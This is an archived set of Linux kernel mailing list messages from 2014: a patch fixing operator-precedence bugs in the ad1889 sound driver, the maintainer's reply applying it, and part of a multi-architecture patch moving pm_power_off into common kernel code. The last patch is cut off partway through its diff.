X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joe Perches <joe@perches.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.alsa.devel
Subject: [PATCH 11/11] sound: ad1889: Fix probable mask then right shift defects
Date: Sun, 26 Oct 2014 22:25:07 -0700
Lines: 53
Approved: news@gmane.org
Message-ID: <20f33139e87eb74f0ac50d0503a241936d4e0ff5.1414387334.git.joe@perches.com>
References: <cover.1414387334.git.joe@perches.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1414387562 16483 80.91.229.3 (27 Oct 2014 05:26:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 27 Oct 2014 05:26:02 +0000 (UTC)
Cc: Jaroslav Kysela <perex@perex.cz>, Takashi Iwai <tiwai@suse.de>,
	linux-parisc@vger.kernel.org, alsa-devel@alsa-project.org
To: linux-kernel@vger.kernel.org,
	Thibaut Varene <T-Bone@parisc-linux.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Oct 27 06:25:55 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1XicoR-0003sJ-Oc
	for glk-linux-kernel-3@plane.gmane.org; Mon, 27 Oct 2014 06:25:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752482AbaJ0FZr (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 27 Oct 2014 01:25:47 -0400
Original-Received: from smtprelay0036.hostedemail.com ([216.40.44.36]:49324 "EHLO
	smtprelay.hostedemail.com" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1752907AbaJ0FZn (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Mon, 27 Oct 2014 01:25:43 -0400
Original-Received: from filter.hostedemail.com (ff-bigip1 [10.5.19.254])
	by smtprelay05.hostedemail.com (Postfix) with ESMTP id 999692691B5;
	Mon, 27 Oct 2014 05:25:42 +0000 (UTC)
X-Session-Marker: 6A6F6540706572636865732E636F6D
X-Spam-Summary: 2,0,0,,d41d8cd98f00b204,joe@perches.com,:::::::::::,RULES_HIT:41:355:379:541:800:960:973:988:989:1260:1345:1359:1437:1534:1542:1711:1730:1747:1777:1792:2393:2559:2562:3138:3139:3140:3141:3142:3354:3865:3866:3867:3868:3871:4321:5007:6117:6119:6261:10004:10848:11026:11473:11658:11914:12438:12517:12519:12555:14394:21080,0,RBL:none,CacheIP:none,Bayesian:0.5,0.5,0.5,Netcheck:none,DomainCache:0,MSF:not bulk,SPF:fn,MSBL:0,DNSBL:none,Custom_rules:0:0:0
X-HE-Tag: wine69_4ecc0b28c8a3c
X-Filterd-Recvd-Size: 2886
Original-Received: from joe-laptop.perches.com (pool-71-103-235-196.lsanca.fios.verizon.net [71.103.235.196])
	(Authenticated sender: joe@perches.com)
	by omf11.hostedemail.com (Postfix) with ESMTPA;
	Mon, 27 Oct 2014 05:25:41 +0000 (UTC)
X-Mailer: git-send-email 2.1.2
In-Reply-To: <cover.1414387334.git.joe@perches.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1813745 gmane.linux.ports.parisc:6192 gmane.linux.alsa.devel:129264

Precedence of & and >> is not the same and is not left to right.
shift has higher precedence and should be done after the mask.

Add parentheses around the mask.

Signed-off-by: Joe Perches <joe@perches.com>
---
 sound/pci/ad1889.c | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/sound/pci/ad1889.c b/sound/pci/ad1889.c
index 7bfdf9c..1610c38 100644
--- a/sound/pci/ad1889.c
+++ b/sound/pci/ad1889.c
@@ -681,7 +681,7 @@ snd_ad1889_proc_read(struct snd_info_entry *entry, struct snd_info_buffer *buffe
 	
 	/* WARQ is at offset 12 */
 	tmp = (reg & AD_DS_WSMC_WARQ) ?
-			(((reg & AD_DS_WSMC_WARQ >> 12) & 0x01) ? 12 : 18) : 4;
+		((((reg & AD_DS_WSMC_WARQ) >> 12) & 0x01) ? 12 : 18) : 4;
 	tmp /= (reg & AD_DS_WSMC_WAST) ? 2 : 1;
 	
 	snd_iprintf(buffer, "Wave FIFO: %d %s words\n\n", tmp,
@@ -693,7 +693,7 @@ snd_ad1889_proc_read(struct snd_info_entry *entry, struct snd_info_buffer *buffe
 	
 	/* SYRQ is at offset 4 */
 	tmp = (reg & AD_DS_WSMC_SYRQ) ?
-			(((reg & AD_DS_WSMC_SYRQ >> 4) & 0x01) ? 12 : 18) : 4;
+		((((reg & AD_DS_WSMC_SYRQ) >> 4) & 0x01) ? 12 : 18) : 4;
 	tmp /= (reg & AD_DS_WSMC_WAST) ? 2 : 1;
 	
 	snd_iprintf(buffer, "Synthesis FIFO: %d %s words\n\n", tmp,
@@ -709,7 +709,7 @@ snd_ad1889_proc_read(struct snd_info_entry *entry, struct snd_info_buffer *buffe
 	
 	/* ACRQ is at offset 4 */
 	tmp = (reg & AD_DS_RAMC_ACRQ) ?
-			(((reg & AD_DS_RAMC_ACRQ >> 4) & 0x01) ? 12 : 18) : 4;
+		((((reg & AD_DS_RAMC_ACRQ) >> 4) & 0x01) ? 12 : 18) : 4;
 	tmp /= (reg & AD_DS_RAMC_ADST) ? 2 : 1;
 	
 	snd_iprintf(buffer, "ADC FIFO: %d %s words\n\n", tmp,
@@ -720,7 +720,7 @@ snd_ad1889_proc_read(struct snd_info_entry *entry, struct snd_info_buffer *buffe
 			
 	/* RERQ is at offset 12 */
 	tmp = (reg & AD_DS_RAMC_RERQ) ?
-			(((reg & AD_DS_RAMC_RERQ >> 12) & 0x01) ? 12 : 18) : 4;
+		((((reg & AD_DS_RAMC_RERQ) >> 12) & 0x01) ? 12 : 18) : 4;
 	tmp /= (reg & AD_DS_RAMC_ADST) ? 2 : 1;
 	
 	snd_iprintf(buffer, "Resampler FIFO: %d %s words\n\n", tmp,
-- 
2.1.2


From - Thu Nov 08 21:10:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:10:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Takashi Iwai <tiwai@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.alsa.devel
Subject: Re: [PATCH 11/11] sound: ad1889: Fix probable mask then right shift defects
Date: Mon, 27 Oct 2014 08:41:20 +0100
Lines: 68
Approved: news@gmane.org
Message-ID: <s5hbnoy7ye7.wl-tiwai@suse.de>
References: <cover.1414387334.git.joe@perches.com>
	<20f33139e87eb74f0ac50d0503a241936d4e0ff5.1414387334.git.joe@perches.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka")
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1414395692 5533 80.91.229.3 (27 Oct 2014 07:41:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 27 Oct 2014 07:41:32 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	Thibaut Varene <T-Bone@parisc-linux.org>,
	Jaroslav Kysela <perex@perex.cz>, linux-parisc@vger.kernel.org,
	alsa-devel@alsa-project.org
To: Joe Perches <joe@perches.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 27 08:41:25 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Xievc-0004OH-2L
	for glpp-linux-parisc@plane.gmane.org; Mon, 27 Oct 2014 08:41:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751836AbaJ0HlX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 27 Oct 2014 03:41:23 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:46293 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751834AbaJ0HlW (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 27 Oct 2014 03:41:22 -0400
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
	by mx2.suse.de (Postfix) with ESMTP id BA98CACCE;
	Mon, 27 Oct 2014 07:41:20 +0000 (UTC)
In-Reply-To: <20f33139e87eb74f0ac50d0503a241936d4e0ff5.1414387334.git.joe@perches.com>
User-Agent: Wanderlust/2.15.9 (Almost Unreal) SEMI/1.14.6 (Maruoka)
 FLIM/1.14.9 (=?UTF-8?B?R29qxY0=?=) APEL/10.8 Emacs/24.3
 (x86_64-suse-linux-gnu) MULE/6.0 (HANACHIRUSATO)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6194 gmane.linux.kernel:1813815 gmane.linux.alsa.devel:129265
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6194>

At Sun, 26 Oct 2014 22:25:07 -0700,
Joe Perches wrote:
> 
> Precedence of & and >> is not the same and is not left to right.
> shift has higher precedence and should be done after the mask.
> 
> Add parentheses around the mask.
> 
> Signed-off-by: Joe Perches <joe@perches.com>

Thanks, applied.


Takashi


> ---
>  sound/pci/ad1889.c | 8 ++++----
>  1 file changed, 4 insertions(+), 4 deletions(-)
> 
> diff --git a/sound/pci/ad1889.c b/sound/pci/ad1889.c
> index 7bfdf9c..1610c38 100644
> --- a/sound/pci/ad1889.c
> +++ b/sound/pci/ad1889.c
> @@ -681,7 +681,7 @@ snd_ad1889_proc_read(struct snd_info_entry *entry, struct snd_info_buffer *buffe
>  	
>  	/* WARQ is at offset 12 */
>  	tmp = (reg & AD_DS_WSMC_WARQ) ?
> -			(((reg & AD_DS_WSMC_WARQ >> 12) & 0x01) ? 12 : 18) : 4;
> +		((((reg & AD_DS_WSMC_WARQ) >> 12) & 0x01) ? 12 : 18) : 4;
>  	tmp /= (reg & AD_DS_WSMC_WAST) ? 2 : 1;
>  	
>  	snd_iprintf(buffer, "Wave FIFO: %d %s words\n\n", tmp,
> @@ -693,7 +693,7 @@ snd_ad1889_proc_read(struct snd_info_entry *entry, struct snd_info_buffer *buffe
>  	
>  	/* SYRQ is at offset 4 */
>  	tmp = (reg & AD_DS_WSMC_SYRQ) ?
> -			(((reg & AD_DS_WSMC_SYRQ >> 4) & 0x01) ? 12 : 18) : 4;
> +		((((reg & AD_DS_WSMC_SYRQ) >> 4) & 0x01) ? 12 : 18) : 4;
>  	tmp /= (reg & AD_DS_WSMC_WAST) ? 2 : 1;
>  	
>  	snd_iprintf(buffer, "Synthesis FIFO: %d %s words\n\n", tmp,
> @@ -709,7 +709,7 @@ snd_ad1889_proc_read(struct snd_info_entry *entry, struct snd_info_buffer *buffe
>  	
>  	/* ACRQ is at offset 4 */
>  	tmp = (reg & AD_DS_RAMC_ACRQ) ?
> -			(((reg & AD_DS_RAMC_ACRQ >> 4) & 0x01) ? 12 : 18) : 4;
> +		((((reg & AD_DS_RAMC_ACRQ) >> 4) & 0x01) ? 12 : 18) : 4;
>  	tmp /= (reg & AD_DS_RAMC_ADST) ? 2 : 1;
>  	
>  	snd_iprintf(buffer, "ADC FIFO: %d %s words\n\n", tmp,
> @@ -720,7 +720,7 @@ snd_ad1889_proc_read(struct snd_info_entry *entry, struct snd_info_buffer *buffe
>  			
>  	/* RERQ is at offset 12 */
>  	tmp = (reg & AD_DS_RAMC_RERQ) ?
> -			(((reg & AD_DS_RAMC_RERQ >> 12) & 0x01) ? 12 : 18) : 4;
> +		((((reg & AD_DS_RAMC_RERQ) >> 12) & 0x01) ? 12 : 18) : 4;
>  	tmp /= (reg & AD_DS_RAMC_ADST) ? 2 : 1;
>  	
>  	snd_iprintf(buffer, "Resampler FIFO: %d %s words\n\n", tmp,
> -- 
> 2.1.2
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.kernel,gmane.linux.power-management.general,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.openrisc,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user
Subject: [PATCH v3 08/47] kernel: Move pm_power_off to common code
Date: Mon, 27 Oct 2014 08:55:15 -0700
Lines: 886
Approved: news@gmane.org
Message-ID: <1414425354-10359-9-git-send-email-linux@roeck-us.net>
References: <1414425354-10359-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1414425404 22694 80.91.229.3 (27 Oct 2014 15:56:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 27 Oct 2014 15:56:44 +0000 (UTC)
Cc: linux-pm@vger.kernel.org, Guenter Roeck <linux@roeck-us.net>,
	adi-buildroot-devel@lists.sourceforge.net, linux390@de.ibm.com,
	linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux@lists.openrisc.net,
	linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-sh@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	sparclinux@vger.kernel.org,
	user-mode-linux-devel@lists.sourceforge.net,
	user-mode-linux-user@lists.sourceforge.net, x86@kernel.org,
	xen-devel@lists.xenproject.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Oct 27 16:56:36 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1Ximep-0007ls-Ln
	for glk-linux-kernel-3@plane.gmane.org; Mon, 27 Oct 2014 16:56:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752587AbaJ0P43 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 27 Oct 2014 11:56:29 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:49958 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752399AbaJ0P4X (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Mon, 27 Oct 2014 11:56:23 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=9p7Kyvkd32EwYdUWVXn5amyOAEuE5K6+3Rni4Q/JRKg=;
	b=paneM7dKkJN2pDIJDDc/2skr8r4sga518S7KRb+fu/gokcrt+I25w5eByKK0DvaKHWfgTFLhu5pix1eTgwYGuMb1Q99DunCAAxfmhMvQna2i9FD0MNcK1DiIyrWlrSJU8Cdlksn6asmUXq9gdoskziu/VReobycck8ohMMxkjx4=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1Ximec-000bRE-Sz
	for linux-kernel@vger.kernel.org; Mon, 27 Oct 2014 15:56:23 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:54030 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1Ximea-000bQF-CI; Mon, 27 Oct 2014 15:56:22 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1414425354-10359-1-git-send-email-linux@roeck-us.net>
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=2.5
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020202.544E6B27.0006,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 128
X-CTCH-SenderID-TotalMessages: 50
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1814231 gmane.linux.power-management.general:51622 gmane.linux.ports.alpha:2528 gmane.linux.ports.arm.kernel:366661 gmane.linux.ports.hexagon:873 gmane.linux.ports.ia64:24662 gmane.linux.ports.openrisc:608 gmane.linux.kernel.metag:392 gmane.linux.ports.mips.general:44745 gmane.linux.ports.parisc:6195 gmane.linux.ports.ppc64.devel:106412 gmane.linux.ports.sh.devel:40283 gmane.linux.ports.sparc:20104 gmane.linux.uml.devel:14794 gmane.linux.uml.user:14747

pm_power_off is defined for all architectures. Move it to common code.

Have all architectures call do_kernel_power_off instead of pm_power_off.
Some architectures point pm_power_off to machine_power_off. For those,
call do_kernel_power_off from machine_power_off instead.

Acked-by: David Vrabel <david.vrabel@citrix.com>
Acked-by: Geert Uytterhoeven <geert@linux-m68k.org>
Acked-by: Hirokazu Takata <takata@linux-m32r.org>
Acked-by: James Hogan <james.hogan@imgtec.com>
Acked-by: Jesper Nilsson <jesper.nilsson@axis.com>
Acked-by: Max Filippov <jcmvbkbc@gmail.com>
Acked-by: Rafael J. Wysocki <rjw@rjwysocki.net>
Acked-by: Richard Weinberger <richard@nod.at>
Acked-by: Xuetao Guan <gxt@mprc.pku.edu.cn>
Acked-by: Ralf Baechle <ralf@linux-mips.org>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
v3:
- Replace poweroff in all newly introduced variables and in text
  with power_off or power-off as appropriate
v2:
- do_kernel_poweroff -> do_kernel_power_off
- have_kernel_poweroff -> have_kernel_power_off

 arch/alpha/kernel/process.c        |  9 +++------
 arch/arc/kernel/reset.c            |  5 +----
 arch/arm/kernel/process.c          |  5 +----
 arch/arm64/kernel/process.c        |  5 +----
 arch/avr32/kernel/process.c        |  6 +-----
 arch/blackfin/kernel/process.c     |  3 ---
 arch/blackfin/kernel/reboot.c      |  2 ++
 arch/c6x/kernel/process.c          |  9 +--------
 arch/cris/kernel/process.c         |  4 +---
 arch/frv/kernel/process.c          |  5 ++---
 arch/hexagon/kernel/reset.c        |  5 ++---
 arch/ia64/kernel/process.c         |  5 +----
 arch/m32r/kernel/process.c         |  8 ++++----
 arch/m68k/kernel/process.c         |  6 +-----
 arch/metag/kernel/process.c        |  6 +-----
 arch/microblaze/kernel/process.c   |  3 ---
 arch/microblaze/kernel/reset.c     |  1 +
 arch/mips/kernel/reset.c           |  6 +-----
 arch/mn10300/kernel/process.c      |  8 ++------
 arch/openrisc/kernel/process.c     |  8 +++++---
 arch/parisc/kernel/process.c       |  8 ++++----
 arch/powerpc/kernel/setup-common.c |  6 +++---
 arch/s390/kernel/setup.c           |  8 ++------
 arch/score/kernel/process.c        |  8 ++++----
 arch/sh/kernel/reboot.c            |  6 +-----
 arch/sparc/kernel/process_32.c     | 10 ++--------
 arch/sparc/kernel/reboot.c         |  8 ++------
 arch/tile/kernel/reboot.c          |  7 +++----
 arch/um/kernel/reboot.c            |  2 --
 arch/unicore32/kernel/process.c    |  9 +--------
 arch/x86/kernel/reboot.c           | 11 +++--------
 arch/x86/xen/enlighten.c           |  3 +--
 arch/xtensa/kernel/process.c       |  4 ----
 drivers/parisc/power.c             |  3 +--
 kernel/power/power_off_handler.c   |  8 ++++++++
 kernel/reboot.c                    |  4 ++--
 36 files changed, 68 insertions(+), 146 deletions(-)

diff --git a/arch/alpha/kernel/process.c b/arch/alpha/kernel/process.c
index 1941a07..81c43f8 100644
--- a/arch/alpha/kernel/process.c
+++ b/arch/alpha/kernel/process.c
@@ -24,6 +24,7 @@
 #include <linux/vt.h>
 #include <linux/mman.h>
 #include <linux/elfcore.h>
+#include <linux/pm.h>
 #include <linux/reboot.h>
 #include <linux/tty.h>
 #include <linux/console.h>
@@ -40,12 +41,6 @@
 #include "proto.h"
 #include "pci_impl.h"
 
-/*
- * Power off function, if any
- */
-void (*pm_power_off)(void) = machine_power_off;
-EXPORT_SYMBOL(pm_power_off);
-
 #ifdef CONFIG_ALPHA_WTINT
 /*
  * Sleep the CPU.
@@ -184,6 +179,8 @@ machine_halt(void)
 void
 machine_power_off(void)
 {
+	do_kernel_power_off();
+
 	common_shutdown(LINUX_REBOOT_CMD_POWER_OFF, NULL);
 }
 
diff --git a/arch/arc/kernel/reset.c b/arch/arc/kernel/reset.c
index 2768fa1..0758d9d 100644
--- a/arch/arc/kernel/reset.c
+++ b/arch/arc/kernel/reset.c
@@ -26,9 +26,6 @@ void machine_restart(char *__unused)
 
 void machine_power_off(void)
 {
-	/* FIXME ::  power off ??? */
+	do_kernel_power_off();
 	machine_halt();
 }
-
-void (*pm_power_off) (void) = NULL;
-EXPORT_SYMBOL(pm_power_off);
diff --git a/arch/arm/kernel/process.c b/arch/arm/kernel/process.c
index fe972a2..aa3f656 100644
--- a/arch/arm/kernel/process.c
+++ b/arch/arm/kernel/process.c
@@ -117,8 +117,6 @@ void soft_restart(unsigned long addr)
 /*
  * Function pointers to optional machine specific functions
  */
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
 
 void (*arm_pm_restart)(enum reboot_mode reboot_mode, const char *cmd);
 
@@ -205,8 +203,7 @@ void machine_power_off(void)
 	local_irq_disable();
 	smp_send_stop();
 
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 }
 
 /*
diff --git a/arch/arm64/kernel/process.c b/arch/arm64/kernel/process.c
index fde9923..6f623a0 100644
--- a/arch/arm64/kernel/process.c
+++ b/arch/arm64/kernel/process.c
@@ -68,8 +68,6 @@ void soft_restart(unsigned long addr)
 /*
  * Function pointers to optional machine specific functions
  */
-void (*pm_power_off)(void);
-EXPORT_SYMBOL_GPL(pm_power_off);
 
 void (*arm_pm_restart)(enum reboot_mode reboot_mode, const char *cmd);
 
@@ -129,8 +127,7 @@ void machine_power_off(void)
 {
 	local_irq_disable();
 	smp_send_stop();
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 }
 
 /*
diff --git a/arch/avr32/kernel/process.c b/arch/avr32/kernel/process.c
index 42a53e74..529c1f6 100644
--- a/arch/avr32/kernel/process.c
+++ b/arch/avr32/kernel/process.c
@@ -23,9 +23,6 @@
 
 #include <mach/pm.h>
 
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
 /*
  * This file handles the architecture-dependent parts of process handling..
  */
@@ -48,8 +45,7 @@ void machine_halt(void)
 
 void machine_power_off(void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 }
 
 void machine_restart(char *cmd)
diff --git a/arch/blackfin/kernel/process.c b/arch/blackfin/kernel/process.c
index 4aa5545..812dd83 100644
--- a/arch/blackfin/kernel/process.c
+++ b/arch/blackfin/kernel/process.c
@@ -39,9 +39,6 @@ int nr_l1stack_tasks;
 void *l1_stack_base;
 unsigned long l1_stack_len;
 
-void (*pm_power_off)(void) = NULL;
-EXPORT_SYMBOL(pm_power_off);
-
 /*
  * The idle loop on BFIN
  */
diff --git a/arch/blackfin/kernel/reboot.c b/arch/blackfin/kernel/reboot.c
index c4f50a3..387d610 100644
--- a/arch/blackfin/kernel/reboot.c
+++ b/arch/blackfin/kernel/reboot.c
@@ -7,6 +7,7 @@
  */
 
 #include <linux/interrupt.h>
+#include <linux/pm.h>
 #include <asm/bfin-global.h>
 #include <asm/reboot.h>
 #include <asm/bfrom.h>
@@ -106,6 +107,7 @@ void machine_halt(void)
 __attribute__((weak))
 void native_machine_power_off(void)
 {
+	do_kernel_power_off();
 	idle_with_irq_disabled();
 }
 
diff --git a/arch/c6x/kernel/process.c b/arch/c6x/kernel/process.c
index 57d2ea8..edf7e5a 100644
--- a/arch/c6x/kernel/process.c
+++ b/arch/c6x/kernel/process.c
@@ -27,12 +27,6 @@ void	(*c6x_halt)(void);
 extern asmlinkage void ret_from_fork(void);
 extern asmlinkage void ret_from_kernel_thread(void);
 
-/*
- * power off function, if any
- */
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
 void arch_cpu_idle(void)
 {
 	unsigned long tmp;
@@ -73,8 +67,7 @@ void machine_halt(void)
 
 void machine_power_off(void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 	halt_loop();
 }
 
diff --git a/arch/cris/kernel/process.c b/arch/cris/kernel/process.c
index b78498e..9ebd76b 100644
--- a/arch/cris/kernel/process.c
+++ b/arch/cris/kernel/process.c
@@ -31,9 +31,6 @@
 
 extern void default_idle(void);
 
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
 void arch_cpu_idle(void)
 {
 	default_idle();
@@ -60,6 +57,7 @@ void machine_halt(void)
 
 void machine_power_off(void)
 {
+	do_kernel_power_off();
 }
 
 /*
diff --git a/arch/frv/kernel/process.c b/arch/frv/kernel/process.c
index 5d40aeb77..502dabb 100644
--- a/arch/frv/kernel/process.c
+++ b/arch/frv/kernel/process.c
@@ -42,9 +42,6 @@ asmlinkage void ret_from_kernel_thread(void);
 
 #include <asm/pgalloc.h>
 
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
 static void core_sleep_idle(void)
 {
 #ifdef LED_DEBUG_SLEEP
@@ -107,6 +104,8 @@ void machine_power_off(void)
 	gdbstub_exit(0);
 #endif
 
+	do_kernel_power_off();
+
 	for (;;);
 }
 
diff --git a/arch/hexagon/kernel/reset.c b/arch/hexagon/kernel/reset.c
index 76483c1..6f607b6 100644
--- a/arch/hexagon/kernel/reset.c
+++ b/arch/hexagon/kernel/reset.c
@@ -16,11 +16,13 @@
  * 02110-1301, USA.
  */
 
+#include <linux/pm.h>
 #include <linux/smp.h>
 #include <asm/hexagon_vm.h>
 
 void machine_power_off(void)
 {
+	do_kernel_power_off();
 	smp_send_stop();
 	__vmstop();
 }
@@ -32,6 +34,3 @@ void machine_halt(void)
 void machine_restart(char *cmd)
 {
 }
-
-void (*pm_power_off)(void) = NULL;
-EXPORT_SYMBOL(pm_power_off);
diff --git a/arch/ia64/kernel/process.c b/arch/ia64/kernel/process.c
index b515149..88121a2 100644
--- a/arch/ia64/kernel/process.c
+++ b/arch/ia64/kernel/process.c
@@ -57,8 +57,6 @@ void (*ia64_mark_idle)(int);
 
 unsigned long boot_option_idle_override = IDLE_NO_OVERRIDE;
 EXPORT_SYMBOL(boot_option_idle_override);
-void (*pm_power_off) (void);
-EXPORT_SYMBOL(pm_power_off);
 
 void
 ia64_do_show_stack (struct unw_frame_info *info, void *arg)
@@ -675,8 +673,7 @@ machine_halt (void)
 void
 machine_power_off (void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 	machine_halt();
 }
 
diff --git a/arch/m32r/kernel/process.c b/arch/m32r/kernel/process.c
index e69221d..65a037e 100644
--- a/arch/m32r/kernel/process.c
+++ b/arch/m32r/kernel/process.c
@@ -23,6 +23,7 @@
 #include <linux/fs.h>
 #include <linux/slab.h>
 #include <linux/module.h>
+#include <linux/pm.h>
